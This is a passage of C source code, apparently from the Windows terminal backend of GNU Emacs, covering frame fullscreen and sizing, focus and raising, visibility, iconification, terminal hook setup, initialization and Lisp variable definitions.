WS_OVERLAPPEDWINDOW); SetWindowPlacement (hwnd, &FRAME_NORMAL_PLACEMENT (f)); } else if (FRAME_PREV_FSMODE (f) == FULLSCREEN_HEIGHT || FRAME_PREV_FSMODE (f) == FULLSCREEN_WIDTH) SetWindowPlacement (hwnd, &FRAME_NORMAL_PLACEMENT (f)); FRAME_PREV_FSMODE (f) = f->want_fullscreen; if (f->want_fullscreen == FULLSCREEN_NONE) ShowWindow (hwnd, SW_SHOWNORMAL); else if (f->want_fullscreen == FULLSCREEN_MAXIMIZED) { if (prev_fsmode == FULLSCREEN_BOTH || prev_fsmode == FULLSCREEN_WIDTH || prev_fsmode == FULLSCREEN_HEIGHT) /* Make window normal since otherwise the subsequent maximization might fail in some cases. */ ShowWindow (hwnd, SW_SHOWNORMAL); ShowWindow (hwnd, SW_MAXIMIZE); } else if (f->want_fullscreen == FULLSCREEN_BOTH) { w32_fullscreen_rect (hwnd, f->want_fullscreen, FRAME_NORMAL_PLACEMENT (f).rcNormalPosition, &rect); if (!FRAME_UNDECORATED (f)) SetWindowLong (hwnd, GWL_STYLE, dwStyle & ~WS_OVERLAPPEDWINDOW); SetWindowPos (hwnd, HWND_TOP, rect.left, rect.top, rect.right - rect.left, rect.bottom - rect.top, SWP_NOOWNERZORDER | SWP_FRAMECHANGED); change_frame_size (f, rect.right - rect.left, rect.bottom - rect.top, false, true, false); } else { ShowWindow (hwnd, SW_SHOWNORMAL); w32_fullscreen_rect (hwnd, f->want_fullscreen, FRAME_NORMAL_PLACEMENT (f).rcNormalPosition, &rect); SetWindowPos (hwnd, HWND_TOP, rect.left, rect.top, rect.right - rect.left, rect.bottom - rect.top, 0); change_frame_size (f, rect.right - rect.left, rect.bottom - rect.top, false, true, false); } f->want_fullscreen = FULLSCREEN_NONE; unblock_input (); if (f->want_fullscreen == FULLSCREEN_BOTH || f->want_fullscreen == FULLSCREEN_WIDTH || f->want_fullscreen == FULLSCREEN_HEIGHT) do_pending_window_change (0); } else f->want_fullscreen |= FULLSCREEN_WAIT; } /* Change the size of frame F's Windows window to WIDTH and HEIGHT pixels. If CHANGE_GRAVITY, change to top-left-corner window gravity for this size change and subsequent size changes. Otherwise leave the window gravity unchanged. */ static void w32_set_window_size (struct frame *f, bool change_gravity, int width, int height) { Lisp_Object fullscreen = get_frame_param (f, Qfullscreen); RECT rect; MENUBARINFO info; int menu_bar_height; block_input (); /* Get the height of the menu bar here. It's used below to detect whether the menu bar is wrapped. It's also used to specify the third argument for AdjustWindowRect. See bug#22105. */ info.cbSize = sizeof (info); info.rcBar.top = info.rcBar.bottom = 0; GetMenuBarInfo (FRAME_W32_WINDOW (f), 0xFFFFFFFD, 0, &info); menu_bar_height = info.rcBar.bottom - info.rcBar.top; if (w32_add_wrapped_menu_bar_lines) { /* When the menu bar wraps sending a SetWindowPos shrinks the height of the frame then the wrapped menu bar lines are not accounted for (Bug#15174 and Bug#18720). Here we add these extra lines to the frame height. */ int default_menu_bar_height; /* Why is (apparently) SM_CYMENUSIZE needed here instead of SM_CYMENU ?? */ default_menu_bar_height = GetSystemMetrics (SM_CYMENUSIZE); if ((default_menu_bar_height > 0) && (menu_bar_height > default_menu_bar_height) && ((menu_bar_height % default_menu_bar_height) == 0)) height = height + menu_bar_height - default_menu_bar_height; } f->win_gravity = NorthWestGravity; w32_wm_set_size_hint (f, (long) 0, false); rect.left = rect.top = 0; rect.right = width; rect.bottom = height; AdjustWindowRect (&rect, f->output_data.w32->dwStyle, menu_bar_height > 0); if (!(f->after_make_frame) && !(f->want_fullscreen & FULLSCREEN_WAIT) && FRAME_VISIBLE_P (f)) { RECT window_rect; GetWindowRect (FRAME_W32_WINDOW (f), &window_rect); if (EQ (fullscreen, Qmaximized) || EQ (fullscreen, Qfullboth) || EQ (fullscreen, Qfullwidth)) { rect.left = window_rect.left; rect.right = window_rect.right; width = -1; } if (EQ (fullscreen, Qmaximized) || EQ (fullscreen, Qfullboth) || EQ (fullscreen, Qfullheight)) { rect.top = window_rect.top; rect.bottom = window_rect.bottom; height = -1; } } if (width > 0 || height > 0) { if (!FRAME_PARENT_FRAME (f)) my_set_window_pos (FRAME_W32_WINDOW (f), NULL, 0, 0, rect.right - rect.left, rect.bottom - rect.top, SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE); else my_set_window_pos (FRAME_W32_WINDOW (f), HWND_TOP, 0, 0, rect.right - rect.left, rect.bottom - rect.top, SWP_NOMOVE | SWP_NOACTIVATE); change_frame_size (f, width, height, false, true, false); SET_FRAME_GARBAGED (f); /* If cursor was outside the new size, mark it as off. */ mark_window_cursors_off (XWINDOW (f->root_window)); /* Clear out any recollection of where the mouse highlighting was, since it might be in a place that's outside the new frame size. Actually checking whether it is outside is a pain in the neck, so don't try--just let the highlighting be done afresh with new size. */ cancel_mouse_face (f); } unblock_input (); do_pending_window_change (false); } /* Mouse warping. */ void frame_set_mouse_pixel_position (struct frame *f, int pix_x, int pix_y) { UINT trail_num = 0; BOOL ret = false; RECT rect; POINT pt; block_input (); GetClientRect (FRAME_W32_WINDOW (f), &rect); pt.x = rect.left + pix_x; pt.y = rect.top + pix_y; ClientToScreen (FRAME_W32_WINDOW (f), &pt); /* When "mouse trails" are in effect, moving the mouse cursor sometimes leaves behind an annoying "ghost" of the pointer. Avoid that by momentarily switching off mouse trails. */ if (os_subtype == OS_SUBTYPE_NT && w32_major_version + w32_minor_version >= 6) ret = SystemParametersInfo (SPI_GETMOUSETRAILS, 0, &trail_num, 0); SetCursorPos (pt.x, pt.y); if (ret) SystemParametersInfo (SPI_SETMOUSETRAILS, trail_num, NULL, 0); unblock_input (); } static Lisp_Object w32_get_focus_frame (struct frame *f) { Lisp_Object lisp_focus; struct frame *focus = FRAME_DISPLAY_INFO (f)->w32_focus_frame; if (!focus) return Qnil; XSETFRAME (lisp_focus, focus); return lisp_focus; } /* Focus shifting, raising and lowering. */ /* The NOACTIVATE argument has no effect on Windows. According to the Windows API: An application cannot activate an inactive window without also bringing it to the top of the Z order. */ static void w32_focus_frame (struct frame *f, bool noactivate) { #if 0 struct w32_display_info *dpyinfo = &one_w32_display_info; #endif /* Give input focus to frame. */ block_input (); #if 0 /* Try not to change its Z-order if possible. */ if (w32_window_to_frame (dpyinfo, GetForegroundWindow ())) my_set_focus (f, FRAME_W32_WINDOW (f)); else #endif my_set_foreground_window (FRAME_W32_WINDOW (f)); unblock_input (); } /* Raise frame F. */ static void w32_raise_frame (struct frame *f) { block_input (); /* Strictly speaking, raise-frame should only change the frame's Z order, leaving input focus unchanged. This is reasonable behavior on X where the usual policy is point-to-focus. However, this behavior would be very odd on Windows where the usual policy is click-to-focus. On X, if the mouse happens to be over the raised frame, it gets input focus anyway (so the window with focus will never be completely obscured) - if not, then just moving the mouse over it is sufficient to give it focus. On Windows, the user must actually click on the frame (preferably the title bar so as not to move point), which is more awkward. Also, no other Windows program raises a window to the top but leaves another window (possibly now completely obscured) with input focus. Because there is a system setting on Windows that allows the user to choose the point to focus policy, we make the strict semantics optional, but by default we grab focus when raising. */ if (NILP (Vw32_grab_focus_on_raise)) { /* The obvious call to my_set_window_pos doesn't work if Emacs is not already the foreground application: the frame is raised above all other frames belonging to us, but not above the current top window. To achieve that, we have to resort to this more cumbersome method. */ HDWP handle = BeginDeferWindowPos (2); if (handle) { handle = DeferWindowPos (handle, FRAME_W32_WINDOW (f), HWND_TOP, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOACTIVATE); if (handle) { handle = DeferWindowPos (handle, GetForegroundWindow (), FRAME_W32_WINDOW (f), 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOACTIVATE); if (handle) EndDeferWindowPos (handle); } } } else { my_bring_window_to_top (FRAME_W32_WINDOW (f)); } unblock_input (); } /* Lower frame F. */ static void w32_lower_frame (struct frame *f) { block_input (); my_set_window_pos (FRAME_W32_WINDOW (f), HWND_BOTTOM, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOACTIVATE); unblock_input (); } static void w32_frame_raise_lower (struct frame *f, bool raise_flag) { if (! FRAME_W32_P (f)) return; if (raise_flag) w32_raise_frame (f); else w32_lower_frame (f); } /* Change of visibility. */ /* This tries to wait until the frame is really visible, depending on the value of Vx_visible_frame_timeout. However, if the window manager asks the user where to position the frame, this will return before the user finishes doing that. The frame will not actually be visible at that time, but it will become visible later when the window manager finishes with it. */ void w32_make_frame_visible (struct frame *f) { block_input (); gui_set_bitmap_icon (f); if (! FRAME_VISIBLE_P (f)) { /* We test FRAME_GARBAGED_P here to make sure we don't call w32_set_offset a second time if we get to w32_make_frame_visible a second time before the window gets really visible. */ if (! FRAME_ICONIFIED_P (f) && ! f->output_data.w32->asked_for_visible) { if (!FRAME_PARENT_FRAME (f)) { RECT workarea_rect; RECT window_rect; /* Adjust vertical window position in order to avoid being covered by a taskbar placed at the bottom of the desktop. */ SystemParametersInfo (SPI_GETWORKAREA, 0, &workarea_rect, 0); GetWindowRect (FRAME_W32_WINDOW (f), &window_rect); if (window_rect.bottom > workarea_rect.bottom && window_rect.top > workarea_rect.top) f->top_pos = max (window_rect.top - window_rect.bottom + workarea_rect.bottom, workarea_rect.top); } w32_set_offset (f, f->left_pos, f->top_pos, 0); } f->output_data.w32->asked_for_visible = 1; /* According to a report in emacs-devel 2008-06-03, SW_SHOWNORMAL causes unexpected behavior when unminimizing frames that were previously maximized. But only SW_SHOWNORMAL works properly for frames that were truly hidden (using make-frame-invisible), so we need it to avoid Bug#5482. It seems that iconified is only set for minimized windows that are still visible, so use that to determine the appropriate flag to pass ShowWindow. */ my_show_window (f, FRAME_W32_WINDOW (f), FRAME_ICONIFIED_P (f) ? SW_RESTORE : FRAME_NO_FOCUS_ON_MAP (f) ? SW_SHOWNOACTIVATE : SW_SHOWNORMAL); } if (!FLOATP (Vx_wait_for_event_timeout)) { unblock_input (); return; } /* Synchronize to ensure Emacs knows the frame is visible before we do anything else. We do this loop with input not blocked so that incoming events are handled. */ { Lisp_Object frame; double timeout = XFLOAT_DATA (Vx_wait_for_event_timeout); double start_time = XFLOAT_DATA (Ffloat_time (Qnil)); /* This must come after we set COUNT. */ unblock_input (); XSETFRAME (frame, f); /* Wait until the frame is visible. Process X events until a MapNotify event has been seen, or until we think we won't get a MapNotify at all.. */ while (timeout > (XFLOAT_DATA (Ffloat_time (Qnil)) - start_time) && !FRAME_VISIBLE_P (f)) { /* Force processing of queued events. */ /* TODO: x_sync equivalent? */ /* Machines that do polling rather than SIGIO have been observed to go into a busy-wait here. So we'll fake an alarm signal to let the handler know that there's something to be read. We used to raise a real alarm, but it seems that the handler isn't always enabled here. This is probably a bug. */ if (input_polling_used ()) { /* It could be confusing if a real alarm arrives while processing the fake one. Turn it off and let the handler reset it. */ int old_poll_suppress_count = poll_suppress_count; poll_suppress_count = 1; poll_for_input_1 (); poll_suppress_count = old_poll_suppress_count; } } } } /* Change from mapped state to withdrawn state. */ /* Make the frame visible (mapped and not iconified). */ void w32_make_frame_invisible (struct frame *f) { /* Don't keep the highlight on an invisible frame. */ if (FRAME_DISPLAY_INFO (f)->highlight_frame == f) FRAME_DISPLAY_INFO (f)->highlight_frame = 0; block_input (); my_show_window (f, FRAME_W32_WINDOW (f), SW_HIDE); /* We can't distinguish this from iconification just by the event that we get from the server. So we can't win using the usual strategy of letting FRAME_SAMPLE_VISIBILITY set this. So do it by hand, and synchronize with the server to make sure we agree. */ SET_FRAME_VISIBLE (f, 0); SET_FRAME_ICONIFIED (f, false); unblock_input (); } static void w32_make_frame_visible_invisible (struct frame *f, bool visible) { if (visible) w32_make_frame_visible (f); else w32_make_frame_invisible (f); } /* Change window state from mapped to iconified. */ void w32_iconify_frame (struct frame *f) { /* Don't keep the highlight on an invisible frame. */ if (FRAME_DISPLAY_INFO (f)->highlight_frame == f) FRAME_DISPLAY_INFO (f)->highlight_frame = 0; if (FRAME_ICONIFIED_P (f)) return; block_input (); gui_set_bitmap_icon (f); /* Simulate the user minimizing the frame. */ SendMessageTimeout (FRAME_W32_WINDOW (f), WM_SYSCOMMAND, SC_MINIMIZE, 0, 0, 6000, NULL); SET_FRAME_VISIBLE (f, 0); SET_FRAME_ICONIFIED (f, true); unblock_input (); } /* Free resources of frame F. */ void w32_free_frame_resources (struct frame *f) { struct w32_display_info *dpyinfo = FRAME_DISPLAY_INFO (f); Mouse_HLInfo *hlinfo = MOUSE_HL_INFO (f); block_input (); /* We must free faces before destroying windows because some font-driver (e.g. xft) access a window while finishing a face. */ free_frame_faces (f); if (FRAME_W32_WINDOW (f)) my_destroy_window (f, FRAME_W32_WINDOW (f)); free_frame_menubar (f); xfree (f->output_data.w32); f->output_data.w32 = NULL; if (f == dpyinfo->w32_focus_frame) dpyinfo->w32_focus_frame = 0; if (f == dpyinfo->w32_focus_event_frame) dpyinfo->w32_focus_event_frame = 0; if (f == dpyinfo->highlight_frame) dpyinfo->highlight_frame = 0; if (f == hlinfo->mouse_face_mouse_frame) reset_mouse_highlight (hlinfo); unblock_input (); } /* Destroy the window of frame F. */ static void w32_destroy_window (struct frame *f) { struct w32_display_info *dpyinfo = FRAME_DISPLAY_INFO (f); w32_free_frame_resources (f); dpyinfo->reference_count--; } /* Setting window manager hints. */ /* Set the normal size hints for the window manager, for frame F. FLAGS is the flags word to use--or 0 meaning preserve the flags that the window now has. If USER_POSITION, set the USPosition flag (this is useful when FLAGS is 0). */ void w32_wm_set_size_hint (struct frame *f, long flags, bool user_position) { Window window = FRAME_W32_WINDOW (f); enter_crit (); SetWindowLong (window, WND_FONTWIDTH_INDEX, FRAME_COLUMN_WIDTH (f)); SetWindowLong (window, WND_LINEHEIGHT_INDEX, FRAME_LINE_HEIGHT (f)); SetWindowLong (window, WND_BORDER_INDEX, FRAME_INTERNAL_BORDER_WIDTH (f)); SetWindowLong (window, WND_VSCROLLBAR_INDEX, FRAME_SCROLL_BAR_AREA_WIDTH (f)); SetWindowLong (window, WND_HSCROLLBAR_INDEX, FRAME_SCROLL_BAR_AREA_HEIGHT (f)); leave_crit (); } /*********************************************************************** Fonts ***********************************************************************/ #ifdef GLYPH_DEBUG /* Check that FONT is valid on frame F. It is if it can be found in F's font table. */ static void w32_check_font (struct frame *f, struct font *font) { eassert (font != NULL && ! NILP (font->props[FONT_TYPE_INDEX])); if (font->driver->check) eassert (font->driver->check (f, font) == 0); } #endif /* GLYPH_DEBUG */ /* Show hourglass cursor on frame F. */ static void w32_show_hourglass (struct frame *f) { if (!menubar_in_use && !current_popup_menu) { struct w32_output *w32 = FRAME_OUTPUT_DATA (f); w32->hourglass_p = 1; SetCursor (w32->hourglass_cursor); } } /* Hide hourglass cursor on frame F. */ static void w32_hide_hourglass (struct frame *f) { struct w32_output *w32 = FRAME_OUTPUT_DATA (f); w32->hourglass_p = 0; if (f->pointer_invisible) SetCursor (NULL); else SetCursor (w32->current_cursor); } /* FIXME: old code did that, but I don't know why. Anyway, this is used for non-GUI frames (see cancel_hourglass). */ void w32_arrow_cursor (void) { SetCursor (w32_load_cursor (IDC_ARROW)); } static void w32_toggle_invisible_pointer (struct frame *f, bool invisible) { block_input (); if (f->pointer_invisible != invisible) { f->pointer_invisible = invisible; w32_define_cursor (FRAME_W32_WINDOW (f), f->output_data.w32->current_cursor); } unblock_input (); } /*********************************************************************** Image Hooks ***********************************************************************/ static void w32_free_pixmap (struct frame *_f, Emacs_Pixmap pixmap) { DeleteObject (pixmap); } /*********************************************************************** Initialization ***********************************************************************/ static int w32_initialized = 0; void w32_initialize_display_info (Lisp_Object display_name) { struct w32_display_info *dpyinfo = &one_w32_display_info; memset (dpyinfo, 0, sizeof (*dpyinfo)); dpyinfo->name_list_element = Fcons (display_name, Qnil); static char const title[] = "GNU Emacs"; if (STRINGP (Vsystem_name)) { static char const at[] = " at "; ptrdiff_t nbytes = sizeof (title) + sizeof (at); if (INT_ADD_WRAPV (nbytes, SCHARS (Vsystem_name), &nbytes)) memory_full (SIZE_MAX); dpyinfo->w32_id_name = xmalloc (nbytes); sprintf (dpyinfo->w32_id_name, "%s%s%s", title, at, SDATA (Vsystem_name)); } else { dpyinfo->w32_id_name = xmalloc (sizeof (title)); strcpy (dpyinfo->w32_id_name, title); } /* Default Console mode values - overridden when running in GUI mode with values obtained from system metrics. */ dpyinfo->resx = 1; dpyinfo->resy = 1; dpyinfo->n_planes = 1; dpyinfo->n_cbits = 4; dpyinfo->n_fonts = 0; dpyinfo->smallest_font_height = 1; dpyinfo->smallest_char_width = 1; dpyinfo->vertical_scroll_bar_cursor = w32_load_cursor (IDC_ARROW); dpyinfo->horizontal_scroll_bar_cursor = w32_load_cursor (IDC_ARROW); /* TODO: dpyinfo->gray */ reset_mouse_highlight (&dpyinfo->mouse_highlight); } /* Create an xrdb-style database of resources to supersede registry settings. The database is just a concatenation of C strings, finished by an additional \0. The strings are submitted to some basic normalization, so [ *]option[ *]:[ *]value... becomes option:value... but any whitespace following value is not removed. */ static char * w32_make_rdb (char *xrm_option) { char *buffer = xmalloc (strlen (xrm_option) + 2); char *current = buffer; char ch; int in_option = 1; int before_value = 0; do { ch = *xrm_option++; if (ch == '\n') { *current++ = '\0'; in_option = 1; before_value = 0; } else if (ch != ' ') { *current++ = ch; if (in_option && (ch == ':')) { in_option = 0; before_value = 1; } else if (before_value) { before_value = 0; } } else if (!(in_option || before_value)) { *current++ = ch; } } while (ch); *current = '\0'; return buffer; } extern frame_parm_handler w32_frame_parm_handlers[]; static struct redisplay_interface w32_redisplay_interface = { w32_frame_parm_handlers, gui_produce_glyphs, gui_write_glyphs, gui_insert_glyphs, gui_clear_end_of_line, w32_scroll_run, w32_after_update_window_line, w32_update_window_begin, w32_update_window_end, 0, /* flush_display */ gui_clear_window_mouse_face, gui_get_glyph_overhangs, gui_fix_overlapping_area, w32_draw_fringe_bitmap, w32_define_fringe_bitmap, w32_destroy_fringe_bitmap, w32_compute_glyph_string_overhangs, w32_draw_glyph_string, w32_define_frame_cursor, w32_clear_frame_area, w32_clear_under_internal_border, w32_draw_window_cursor, w32_draw_vertical_window_border, w32_draw_window_divider, w32_shift_glyphs_for_insert, w32_show_hourglass, w32_hide_hourglass, w32_default_font_parameter }; static void w32_delete_terminal (struct terminal *term); static struct terminal * w32_create_terminal (struct w32_display_info *dpyinfo) { struct terminal *terminal; terminal = create_terminal (output_w32, &w32_redisplay_interface); terminal->display_info.w32 = dpyinfo; dpyinfo->terminal = terminal; /* MSVC does not type K&R functions with no arguments correctly, and so we must explicitly cast them. */ terminal->clear_frame_hook = w32_clear_frame; terminal->ins_del_lines_hook = w32_ins_del_lines; terminal->delete_glyphs_hook = w32_delete_glyphs; terminal->ring_bell_hook = w32_ring_bell; terminal->toggle_invisible_pointer_hook = w32_toggle_invisible_pointer; terminal->update_begin_hook = w32_update_begin; terminal->update_end_hook = w32_update_end; terminal->read_socket_hook = w32_read_socket; terminal->frame_up_to_date_hook = w32_frame_up_to_date; terminal->defined_color_hook = w32_defined_color; terminal->query_frame_background_color = w32_query_frame_background_color; terminal->query_colors = w32_query_colors; terminal->mouse_position_hook = w32_mouse_position; terminal->get_focus_frame = w32_get_focus_frame; terminal->focus_frame_hook = w32_focus_frame; terminal->frame_rehighlight_hook = w32_frame_rehighlight; terminal->frame_raise_lower_hook = w32_frame_raise_lower; terminal->frame_visible_invisible_hook = w32_make_frame_visible_invisible; terminal->fullscreen_hook = w32fullscreen_hook; terminal->iconify_frame_hook = w32_iconify_frame; terminal->set_window_size_hook = w32_set_window_size; terminal->set_frame_offset_hook = w32_set_offset; terminal->set_frame_alpha_hook = w32_set_frame_alpha; terminal->set_new_font_hook = w32_new_font; terminal->set_bitmap_icon_hook = w32_bitmap_icon; terminal->implicit_set_name_hook = w32_implicitly_set_name; terminal->menu_show_hook = w32_menu_show; terminal->activate_menubar_hook = w32_activate_menubar; terminal->popup_dialog_hook = w32_popup_dialog; terminal->change_tab_bar_height_hook = w32_change_tab_bar_height; terminal->change_tool_bar_height_hook = w32_change_tool_bar_height; terminal->set_vertical_scroll_bar_hook = w32_set_vertical_scroll_bar; terminal->set_horizontal_scroll_bar_hook = w32_set_horizontal_scroll_bar; terminal->set_scroll_bar_default_width_hook = w32_set_scroll_bar_default_width; terminal->set_scroll_bar_default_height_hook = w32_set_scroll_bar_default_height; terminal->condemn_scroll_bars_hook = w32_condemn_scroll_bars; terminal->redeem_scroll_bar_hook = w32_redeem_scroll_bar; terminal->judge_scroll_bars_hook = w32_judge_scroll_bars; terminal->get_string_resource_hook = w32_get_string_resource; terminal->free_pixmap = w32_free_pixmap; terminal->delete_frame_hook = w32_destroy_window; terminal->delete_terminal_hook = w32_delete_terminal; /* Other hooks are NULL by default. */ /* We don't yet support separate terminals on W32, so don't try to share keyboards between virtual terminals that are on the same physical terminal like X does. */ terminal->kboard = allocate_kboard (Qw32); /* Don't let the initial kboard remain current longer than necessary. That would cause problems if a file loaded on startup tries to prompt in the mini-buffer. */ if (current_kboard == initial_kboard) current_kboard = terminal->kboard; terminal->kboard->reference_count++; return terminal; } static void w32_delete_terminal (struct terminal *terminal) { struct w32_display_info *dpyinfo = terminal->display_info.w32; /* Protect against recursive calls. delete_frame in delete_terminal calls us back when it deletes our last frame. */ if (!terminal->name) return; block_input (); w32_delete_display (dpyinfo); unblock_input (); } struct w32_display_info * w32_term_init (Lisp_Object display_name, char *xrm_option, char *resource_name) { struct w32_display_info *dpyinfo; struct terminal *terminal; HDC hdc; block_input (); if (!w32_initialized) { w32_initialize (); w32_initialized = 1; } w32_initialize_display_info (display_name); dpyinfo = &one_w32_display_info; terminal = w32_create_terminal (dpyinfo); /* Set the name of the terminal. */ terminal->name = xlispstrdup (display_name); dpyinfo->rdb = xrm_option ? w32_make_rdb (xrm_option) : NULL; /* Put this display on the chain. */ dpyinfo->next = x_display_list; x_display_list = dpyinfo; hdc = GetDC (NULL); dpyinfo->root_window = GetDesktopWindow (); dpyinfo->n_planes = GetDeviceCaps (hdc, PLANES); dpyinfo->n_cbits = GetDeviceCaps (hdc, BITSPIXEL); dpyinfo->resx = GetDeviceCaps (hdc, LOGPIXELSX); dpyinfo->resy = GetDeviceCaps (hdc, LOGPIXELSY); dpyinfo->has_palette = GetDeviceCaps (hdc, RASTERCAPS) & RC_PALETTE; ReleaseDC (NULL, hdc); /* initialize palette with white and black */ { Emacs_Color color; w32_defined_color (0, "white", &color, true, false); w32_defined_color (0, "black", &color, true, false); } #ifdef WINDOWSNT /* Add the default keyboard. When !WINDOWSNT, we're using the standard Emacs console handling machinery and don't need an explicit FD here. */ add_keyboard_wait_descriptor (0); #elif CYGWIN /* /dev/windows wakes us up when we have a thread message pending. */ add_keyboard_wait_descriptor (w32_message_fd); #endif /* Create Fringe Bitmaps and store them for later use. On W32, bitmaps are all unsigned short, as Windows requires bitmap data to be Word aligned. For some reason they are horizontally reflected compared to how they appear on X, so we need to bitswap and convert to unsigned shorts before creating the bitmaps. */ gui_init_fringe (terminal->rif); unblock_input (); return dpyinfo; } /* Get rid of display DPYINFO, assuming all frames are already gone. */ void w32_delete_display (struct w32_display_info *dpyinfo) { /* FIXME: the only display info apparently can't be deleted. */ /* free palette table */ { struct w32_palette_entry * plist; plist = dpyinfo->color_list; while (plist) { struct w32_palette_entry * pentry = plist; plist = plist->next; xfree (pentry); } dpyinfo->color_list = NULL; if (dpyinfo->palette) DeleteObject (dpyinfo->palette); } w32_reset_fringes (); } /* Set up use of W32. */ void w32_init_main_thread (void) { dwMainThreadId = GetCurrentThreadId (); DuplicateHandle (GetCurrentProcess (), GetCurrentThread (), GetCurrentProcess (), &hMainThread, 0, TRUE, DUPLICATE_SAME_ACCESS); } DWORD WINAPI w32_msg_worker (void * arg); static void w32_initialize (void) { HANDLE shell; HRESULT (WINAPI * set_user_model) (const wchar_t * id); baud_rate = 19200; w32_system_caret_hwnd = NULL; w32_system_caret_height = 0; w32_system_caret_x = 0; w32_system_caret_y = 0; /* On Windows 7 and later, we need to set the user model ID to associate emacsclient launched files with Emacs frames in the UI. */ shell = GetModuleHandle ("shell32.dll"); if (shell) { set_user_model = (void *) GetProcAddress (shell, "SetCurrentProcessExplicitAppUserModelID"); /* If the function is defined, then we are running on Windows 7 or newer, and the UI uses this to group related windows together. Since emacs, runemacs, emacsclient are related, we want them grouped even though the executables are different, so we need to set a consistent ID between them. */ if (set_user_model) set_user_model (L"GNU.Emacs"); } #ifdef CYGWIN if ((w32_message_fd = emacs_open_noquit ("/dev/windows", O_RDWR, 0)) == -1) fatal ("opening /dev/windows: %s", strerror (errno)); #endif /* CYGWIN */ /* Initialize w32_use_visible_system_caret based on whether a screen reader is in use. */ if (!SystemParametersInfo (SPI_GETSCREENREADER, 0, &w32_use_visible_system_caret, 0)) w32_use_visible_system_caret = 0; any_help_event_p = 0; /* Initialize input mode: interrupt_input off, no flow control, allow 8 bit character input, standard quit char. */ Fset_input_mode (Qnil, Qnil, make_fixnum (2), Qnil); { LCID input_locale_id = LOWORD (GetKeyboardLayout (0)); w32_keyboard_codepage = codepage_for_locale (input_locale_id); } /* Create the window thread - it will terminate itself when the app terminates */ init_crit (); /* Wait for thread to start */ { MSG msg; PeekMessage (&msg, NULL, 0, 0, PM_NOREMOVE); hWindowsThread = CreateThread (NULL, 0, w32_msg_worker, 0, 0, &dwWindowsThreadId); GetMessage (&msg, NULL, WM_EMACS_DONE, WM_EMACS_DONE); } /* It is desirable that mainThread should have the same notion of focus window and active window as windowsThread. Unfortunately, the following call to AttachThreadInput, which should do precisely what we need, causes major problems when Emacs is linked as a console program. Unfortunately, we have good reasons for doing that, so instead we need to send messages to windowsThread to make some API calls for us (ones that affect, or depend on, the active/focus window state.) */ #ifdef ATTACH_THREADS AttachThreadInput (dwMainThreadId, dwWindowsThreadId, TRUE); #endif /* Dynamically link to optional system components. */ { HMODULE user_lib = GetModuleHandle ("user32.dll"); #define LOAD_PROC(lib, fn) pfn##fn = (void *) GetProcAddress (lib, #fn) LOAD_PROC (user_lib, SetLayeredWindowAttributes); /* PlgBlt is not available on Windows 9X. */ HMODULE hgdi = LoadLibrary ("gdi32.dll"); if (hgdi) LOAD_PROC (hgdi, PlgBlt); #undef LOAD_PROC /* Ensure scrollbar handles are at least 5 pixels. */ vertical_scroll_bar_min_handle = 5; horizontal_scroll_bar_min_handle = 5; /* For either kind of scroll bar, take account of the arrows; these effectively form the border of the main scroll bar range. */ vertical_scroll_bar_top_border = vertical_scroll_bar_bottom_border = GetSystemMetrics (SM_CYVSCROLL); horizontal_scroll_bar_left_border = horizontal_scroll_bar_right_border = GetSystemMetrics (SM_CYHSCROLL); } w32_get_mouse_wheel_vertical_delta (); } void syms_of_w32term (void) { DEFSYM (Qvendor_specific_keysyms, "vendor-specific-keysyms"); DEFSYM (Qadded, "added"); DEFSYM (Qremoved, "removed"); DEFSYM (Qmodified, "modified"); DEFSYM (Qrenamed_from, "renamed-from"); DEFSYM (Qrenamed_to, "renamed-to"); DEFVAR_LISP ("x-wait-for-event-timeout", Vx_wait_for_event_timeout, doc: /* SKIP: real doc in xterm.c. */); Vx_wait_for_event_timeout = make_float (0.1); DEFVAR_INT ("w32-num-mouse-buttons", w32_num_mouse_buttons, doc: /* Number of physical mouse buttons. */); w32_num_mouse_buttons = 2; DEFVAR_LISP ("w32-swap-mouse-buttons", Vw32_swap_mouse_buttons, doc: /* Swap the mapping of middle and right mouse buttons. When nil, middle button is mouse-2 and right button is mouse-3. */); Vw32_swap_mouse_buttons = Qnil; DEFVAR_LISP ("w32-grab-focus-on-raise", Vw32_grab_focus_on_raise, doc: /* Raised frame grabs input focus. When t, `raise-frame' grabs input focus as well. This fits well with the normal Windows click-to-focus policy, but might not be desirable when using a point-to-focus policy. */); Vw32_grab_focus_on_raise = Qt; DEFVAR_LISP ("w32-capslock-is-shiftlock", Vw32_capslock_is_shiftlock, doc: /* Apply CapsLock state to non character input keys. When nil, CapsLock only affects normal character input keys. */); Vw32_capslock_is_shiftlock = Qnil; DEFVAR_LISP ("w32-recognize-altgr", Vw32_recognize_altgr, doc: /* Recognize right-alt and left-ctrl as AltGr. When nil, the right-alt and left-ctrl key combination is interpreted normally. */); Vw32_recognize_altgr = Qt; DEFVAR_BOOL ("w32-use-visible-system-caret", w32_use_visible_system_caret, doc: /* Flag to make the system caret visible. When this is non-nil, Emacs will indicate the position of point by using the system caret instead of drawing its own cursor. Some screen reader software does not track the system cursor properly when it is invisible, and gets confused by Emacs drawing its own cursor, so this variable is initialized to t when Emacs detects that screen reader software is running as it starts up. When this variable is set, other variables affecting the appearance of the cursor have no effect. */); w32_use_visible_system_caret = 0; /* We don't yet support this, but defining this here avoids whining from cus-start.el and other places, like "M-x set-variable". */ DEFVAR_BOOL ("x-use-underline-position-properties", x_use_underline_position_properties, doc: /* SKIP: real doc in xterm.c. */); x_use_underline_position_properties = 0; DEFSYM (Qx_use_underline_position_properties, "x-use-underline-position-properties"); DEFVAR_BOOL ("x-underline-at-descent-line", x_underline_at_descent_line, doc: /* SKIP: real doc in xterm.c. */); x_underline_at_descent_line = 0; DEFSYM (Qx_underline_at_descent_line, "x-underline-at-descent-line"); DEFVAR_LISP ("x-toolkit-scroll-bars", Vx_toolkit_scroll_bars, doc: /* SKIP: real doc in xterm.c. */); Vx_toolkit_scroll_bars = Qt; DEFVAR_BOOL ("w32-unicode-filenames", w32_unicode_filenames, doc: /* Non-nil means use Unicode APIs when passing file names to the OS. A value of nil means file names passed to the OS APIs and returned from those APIs are encoded/decoded using the ANSI codepage specified by `file-name-coding-system'. This variable is set to non-nil by default when Emacs runs on Windows systems of the NT family, including W2K, XP, Vista, Windows 7 and Windows 8. It is set to nil on Windows 9X. */); if (os_subtype == OS_SUBTYPE_9X) w32_unicode_filenames = 